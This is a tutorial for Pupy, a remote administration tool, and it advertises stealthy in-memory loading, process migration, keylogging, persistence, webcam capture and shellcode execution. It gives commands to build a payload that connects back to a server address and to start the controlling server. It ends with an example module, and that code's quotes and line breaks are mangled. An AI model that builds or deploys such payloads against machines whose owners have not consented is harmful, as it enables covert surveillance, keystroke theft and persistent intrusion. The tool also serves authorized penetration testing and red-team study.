Pupy : Multi-Platform Remote Administration Tool [TUTORIAL/HowTo]

11.10.2015

Features :

  • On windows, the Pupy payload is compiled as a reflective DLL and the whole python interpreter is loaded from memory. Pupy does not touch the disk

  • Pupy can reflectively migrate into other processes

  • Pupy can remotely import, from memory, pure python packages (.py, .pyc) and compiled python C extensions (.pyd). The imported python modules do not touch the disk. (.pyd mem import currently work on Windows only, .so memory import is not implemented).

  • modules are quite simple to write and pupy is easily extensible.

  • Pupy uses rpyc and a module can directly access python objects on the remote client

  • communication channel currently works as a ssl reverse connection, but a bind payload will be implemented in the future

  • all the non interactive modules can be dispatched on multiple hosts in one command

  • Multi-platform (tested on windows 7, windows xp, kali linux, ubuntu)

  • modules can be executed as background jobs

  • commands and scripts running on remote hosts are interruptible

  • auto-completion and nice colored output

  • commands aliases can be defined in the config

  • we can also access remote objects interactively from the pupy shell and even auto completion of remote attributes works !

Implemented Modules :

  • migrate

  • keylogger

  • persistence

  • screenshot

  • webcam snapshot

  • in memory execution of PE exe both x86 and x64

  • command execution

  • download

  • upload

  • socks5 proxy

  • local port forwarding

  • interactive shell (cmd.exe, /bin/sh, …)

  • interactive python shell

  • shellcode exec (thanks to @byt3bl33d3r)

  • inter process architecture injection also works (x86->x64 and x64->x86)

Quick start

In these examples the server is running on a linux host (tested on kali linux) and it’s IP address is 192.168.0.1 The clients have been tested on (Windows 7, Windows XP, kali linux, ubuntu, Mac OS X 10.10.5)

generate/run a payload

for Windows

./pupygen.py 192.168.0.1 -p 443 -t exe_x86 -o pupyx86.exe

you can also use -t dll_x86 or dll_x64 to generate a reflective DLL and inject/load it by your own means.

for Linux

pip install rpyc #(or manually copy it if you are not admin) python reverse_ssl.py 192.168.0.1:443

for MAC OS X

easy_install rpyc #(or manually copy it if you are not admin) python reverse_ssl.py 192.168.0.1:443

start the server

  1. eventually edit pupy.conf to change the bind address / port
  2. start the pupy server :

./pupysh.py

 

Some screenshots

list connected clients

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help

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execute python code on all clients

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execute a command on all clients, exception is retrieved in case the command does not exists

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use a filter to send a module only on selected clients

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migrate into another process

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interactive shell

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interactive python shell

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upload and run another PE exe from memory

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list available modules (the list is not up to date)

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Example: How to write a MsgBox module

first of all write the function/class you want to import on the remote client in the example we create the file pupy/packages/windows/all/pupwinutils/msgbox.py

import ctypes
import threading

def MessageBox(text, title):     t=threading.Thread(target=ctypes.windll.user32.MessageBoxA, args=(None, text, title, 0))     t.daemon=True     t.start()

then, simply create a module to load our package and call the function remotely

class MsgBoxPopup(PupyModule):     """ Pop up a custom message box """
    def init_argparse(self):         self.arg_parser = PupyArgumentParser(prog=“msgbox”, description=self.__doc__)         self.arg_parser.add_argument(’–title’, help=‘msgbox title’)         self.arg_parser.add_argument(’text’, help=‘text to print in the msgbox :)’)    

@windows_only     def is_compatible(self):         pass    

def run(self, args):       self.client.load_package(“pupwinutils.msgbox”)         self.client.conn.modules[‘pupwinutils.msgbox’].MessageBox(args.text, args.title)         self.log(“message box popped !”)

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